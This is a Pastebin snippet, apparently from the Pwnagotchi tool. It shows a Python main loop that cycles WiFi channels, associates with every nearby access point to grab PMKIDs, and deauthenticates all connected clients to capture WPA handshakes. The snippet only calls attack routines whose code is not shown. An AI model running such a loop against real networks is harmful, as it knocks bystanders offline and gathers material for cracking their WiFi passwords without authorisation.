Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- def do_auto_mode(agent):
- logging.info("entering auto mode ...")
- agent.mode = 'auto'
- agent.start()
- while True:
- try:
- # recon on all channels
- agent.recon()
- # get nearby access points grouped by channel
- channels = agent.get_access_points_by_channel()
- # for each channel
- for ch, aps in channels:
- agent.set_channel(ch)
- if not agent.is_stale() and agent.any_activity():
- logging.info("%d access points on channel %d" % (len(aps), ch))
- # for each ap on this channel
- for ap in aps:
- # send an association frame in order to get for a PMKID
- agent.associate(ap)
- # deauth all client stations in order to get a full handshake
- for sta in ap['clients']:
- agent.deauth(ap, sta)
- # An interesting effect of this:
- #
- # From Pwnagotchi's perspective, the more new access points
- # and / or client stations nearby, the longer one epoch of
- # its relative time will take ... basically, in Pwnagotchi's universe,
- # WiFi electromagnetic fields affect time like gravitational fields
- # affect ours ... neat ^_^
- agent.next_epoch()
- if grid.is_connected():
- plugins.on('internet_available', agent)
- except Exception as e:
- logging.exception("main loop exception")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement